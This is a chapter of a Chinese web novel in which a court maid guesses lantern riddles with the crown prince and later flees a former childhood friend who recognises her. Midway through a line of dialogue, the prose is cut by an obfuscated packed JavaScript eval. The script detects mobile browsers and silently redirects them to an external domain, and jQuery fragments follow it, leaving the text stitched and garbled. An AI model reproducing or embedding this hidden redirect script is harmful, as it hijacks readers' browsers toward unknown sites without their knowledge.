43. 故人相见

作品:《招惹阴郁太子后她死遁了

    “摊主”笑着问:“两位可有了眉目?”


    “敢问能否再给些提示?”其中一位姑娘举起双手,连道了两声拜托。


    另一位附和:“是啊,我们真的很想要这盏并蒂莲的花灯。”


    “这……不合规矩,两位小姐不妨再想想?”“摊主”有些为难,终是铁面无情。


    闻言,宁璇去看那盏并蒂莲花灯上的谜面:“有口亦难分诉,打一字。”


    “想要哪盏花灯?”钟晏如偏首问她。


    “殿,”后半个字还没说出来,宁璇就意识到他们都蒙着面,不能暴露他的身份,话锋一转道,“你扫一眼就都猜到了吗?”


    她听出了他话里的胸有成竹。


    “大差不差。”钟晏如适时谦逊起来。


    少年泠泠如珠玉的嗓音在这一片格外清晰,引得那两位姑娘转过头来。


    即便钟晏如戴着面具,仍旧能够窥得他姿容仪态非凡。


    她们在各自眼底看见了惊艳,其中一位流转眼波,大着胆子道:“公子若猜出谜底,能否割爱将那盏花灯赠予我们姐妹俩,结段善缘?”


    钟晏如选择先征求宁璇的意思,假使宁璇也看中,他自是偏心她。


    不想宁璇越过他,对那摊主说出:“这个谜底可是‘哑’字?”


    “正是!”“摊主”惊喜地合掌,取下花灯给宁璇。


    一时间另外几人的注意力都投到宁璇身上。


    宁璇接过花灯的木柄,提起端详了一圈就收回目光,双手递向那位开口的姑娘:“相逢既是缘,我便借花献佛,以此灯换取两位小姐一笑。”


    对方接过花灯,略有所思地打量起宁璇,但探究的打量仅是克制的一瞥,随后携着姊妹一起欠身行礼,笑说:“姑娘聪慧慷慨,真叫人想深交。”


    “姑娘谬赞,”宁璇牵起笑痕,“不过,有缘自会再见。”


    得了喜爱的花灯,她们面带喜色,结伴款款离开。


    宁璇这才看向钟晏如,发觉他似有郁色,本意是想调和气氛,揶揄道:“我是不是坏了殿下的桃花运?要是殿下说出答案,那两位小姐或许接着就要问殿下的名姓了。”


    钟晏如心里确乎有些不舒坦,并非宁璇猜测的那般。


    按说他不该为女子靠近宁璇感到威胁,可瞧见宁璇轻易就能叫人喜欢,他不免小题大做,生出危机感。


    “我对她们没有意思,”他正色说,“阿璇,我不想再听见这种话从你口中道出。”


    宁璇被他的严肃弄得一愣,转念想到他的性子,绝不会有她所言的唐突念头。


    更何况他如今尚且背负着仇恨,步步如走游丝,哪里有心思考虑风月。


    越想越反应过来自己说错了话,她忙解释道:“我一时嘴快,并非有心,还请殿下权当我没说过这话。”


    “今夜殿下带我出来游园赏灯,本该高高兴兴,殿下大人大量,不要同我置气,好不好?”


    她肯放软声音哄他,钟晏如神情稍霁,却是有意趁机讨些好处:“你伤了我的心,便只口头哄两句,岂不是太敷衍?”


    毕竟跟在他身边三年多,宁璇立时领会他的暗示,顺竿上爬:“殿下教训的是,我这就给你看小人的诚意。”


    钟晏如挑起单边眉,好整以暇地看她打算如何行事。


    宁璇灵光一现,将这位苦主晾在边上,转向摊主,精准地说出余下每一盏花灯上的谜底。


    她的所向披靡引得“摊主”啧啧称奇:“姑娘果真厉害!”


    她猜谜的工夫里,换了批看客围过来,众人见状纷纷为她喝彩。


    她看似淡然笑笑,然而许久没被这么多人夸赞,心里难免兴起激荡,耳廓亦染上薄红,好在灯火交相辉映,旁人也辨不出她的羞意。


    钟晏如瞧着她不用藏拙、大放异彩的样子,不由得替她感到喜悦。


    她这般钟灵毓秀的姑娘,就该立在天阳下,受尽瞩目。与此同时,他又闪过卑劣的私念,希望这颗明珠只属于他,她的光芒单单照耀在他身上。


    为什么世间不能仅有他们二人呢?


    这种念头就好像厝火积薪,一下就烧起来,烧得他握紧拳头才克制住,不在宁璇面前露出马脚。


    人太多,不好讲话。


    宁璇一手将所得花灯的木柄收束在一起,一手拉着钟晏如走到稍微安静的角落。


    随即,她松开手,左右张望周围没有人靠近。


    因此她没看见,钟晏如的手在虚空捞了一把,舍不得与她分开。


    宁璇确认没人会注意到此处后,将那一束花灯递给他。


    “这是何意?”太子殿下口是心非地接过这把灯,手柄上还有她的温度,他用指腹覆盖上去,当作他握着她的手,“如此赔礼,我自己也能获得。”


    “那怎么能一样呢?这是我耗费了脑力为殿下赢来的,”宁璇面具后的眸子弯起,“若非怕招惹太多人注意,我原本打算将那些花灯都猜一遍的。”


    “殿下博闻强识,可曾听说过摘取天上星讨人欢心的说法?”


    “略有耳闻。”钟晏如颔首,此事是寻常人力所不能及之事,方能显出深情厚意。


    “但这与你我有何干系?”


    想到接下来自己要搬出的说辞,宁璇有些藏不住笑。


    “繁星位于天上宫阙,遥不可及,想来极其清冷,不如我送给殿下的花灯,既亮又暖。殿下说,我的赔礼是不是比星星还要珍贵?”


    钟晏如听完她这头头是道的说法,偏首轻笑。


    他拿她,一向是没办法的。


    “殿下笑了!”宁璇捕获到他上扬的唇角,惊喜道。


    “殿下既然笑了,可见我这份礼物果真送到了殿下心坎上。”


    钟晏如垂眸看了眼那些花灯,又抬眼去看宁璇。


    女孩娇波流慧,肌映流霞,比起花灯,她是砸落他心上的那颗星星,或许更为贴切。


    “油嘴滑舌。”他提灯往前走。


    宁璇看破他的心情:“那殿下原谅我了吗?”


    太子殿下丢下一句:“下不为例。”


    两人又逛了会儿灯会,突然有位太监过来通传,说是成帝叫太子过去同游。


    钟晏如沉默片刻,眸底闪烁道好,转过来将花灯给她,自己留下一盏,低声道:“你先替我拿着。”


    “我让夏封留下陪你,你若还想看看,就再走走;若是累了,就回东宫,不必等我。”


    宁璇点头。


    交代完话,他随那太监穿梭人群。


    隔着一段距离,宁璇瞧见他又咳了两声,清瘦轮廓跟着颤动,不知是有意做戏,还是真的难受。


    少了他相伴,宁璇心中有些形容不出的失落,空落落的。


    她收回目光,陡然失去游玩的兴致,对夏封说:“我们回去吧。”


    夏封自是顺从她的想法。


    两人往回堪堪走了几步,她余光瞥见夏封停下,捂着肚子,一副欲言又止的神情。


    “你这是?”


    夏封憋得脸通红,面子终究敌不过急事,道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428654|175233||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“宁姑娘,咱家想是吹了风,肚中有些闹腾。”


    “那你快去解决下吧,”宁璇让他宽心,“我这边不会有什么事的。”


    “好嘞。”得她这句话,夏封如释重负,提着碎步溜去出恭。


    身边彻底没人了,她提着花灯继续缓缓地走。


    适才的欢喜仿佛一场黄粱美梦,到底逃不过清醒的时候。


    直至走出这片灯火通明的喧闹地,她耳朵一动,察觉到身后有人亦步亦趋。


    不仅如此,对方的影子拉得长长的,仿佛一团乌云漫上她的鞋面。


    她于是停步,屏息凝神,看见对方跟着静止。


    心跳一窒,她转身去看,隔着面具认出立在灯火阑珊处的那人,微微瞪大眼睛。


    尽管许久未见,她还是认出了他。


    少年逆着光,长身玉立,腰间系着她亲手织成的香囊。


    这一刻的情绪很难言明,她静静地看着他,有种恍如隔世的感觉,而事实上仅仅过去了一息。


    很快,宁璇就意识到自己不该再呆下去。


    好在她刚刚没有将面具摘下来,否则,她的面容将一览无余,但以容清对她的了解,再呆下去他定会认出她。


    趁着对方还愣在那儿,宁璇转过身就要离开。


    说时迟,那时快,她听见那人急忙道:“阿璇,我知晓是你。”


    迈出去的腿没有因此停下,宁璇只当没听见,向前跑。


    身后之人一面穷追不舍,一面解释道:“阿璇,那夜你来容府,我并不知情。爹娘后来才告知我,我立马派人去寻你的踪迹,却一直没有消息。”


    他的话随风声无孔不入地钻进她的耳廓,宁璇提着灯,空不出手去捂耳朵。


    她走得太急,想要快点逃离故人的视线。


    一时不察道上有块石头,宁璇被绊倒在地,刺痛从膝盖处炸开,叫她倒吸了口凉气。


    事发突然,容清眼见得她的身影坠下去,不禁惊呼:“阿璇,你没事吧?”


    即便他已经认出她,宁璇刻意压低声线:“你别过来!”


    花灯亦砸落在地,里头的蜡烛被震灭了,四围变得更加昏暗。


    “好,我不过来。”容清配合道。


    宁璇忍痛缓缓站起来,就近躲到一座假山后。


    “这位公子,你许是认错了人。”


    她垂眸说:“此处是后宫,公子不该跟奴婢有牵扯,违背宫规。”


    容清直直地盯着她藏身的方向,对她所言一句话也不信:“阿璇,我清楚你心里定然怨我无情薄幸,我不欲再辩解,你怨我、恨我、怪我,都是应该的。”


    少年的嗓音温润如春溪,比昔日还要悦耳,其间又参杂几分忐忑造成的紧涩。


    这点小心翼翼的紧涩,被宁璇听得很清晰。


    可……已经走到了这个地步,便是真有隐情又如何?


    难道一切能够回到出事前吗?宁璇望着漆黑的虚空,嘲弄地想。


    她的内心仿佛被分成了两半,一半是置身事外的旁观者,极尽冷静,另一半则叫她鼻头发酸,那是面对记忆中“小清哥哥”生出的委屈。


    彼时她一旦露出点要哭的苗头,容清便是占理也会迁就着来安慰她。


    爹常说,她的小性子,一大半都是被容清纵出来的。


    物是人非事事休,欲语泪先流。


    她自以为忘却了那些温情的时光,然而到了此时,点点滴滴清晰如昨。


    原来她什么都记得,什么都忘不掉。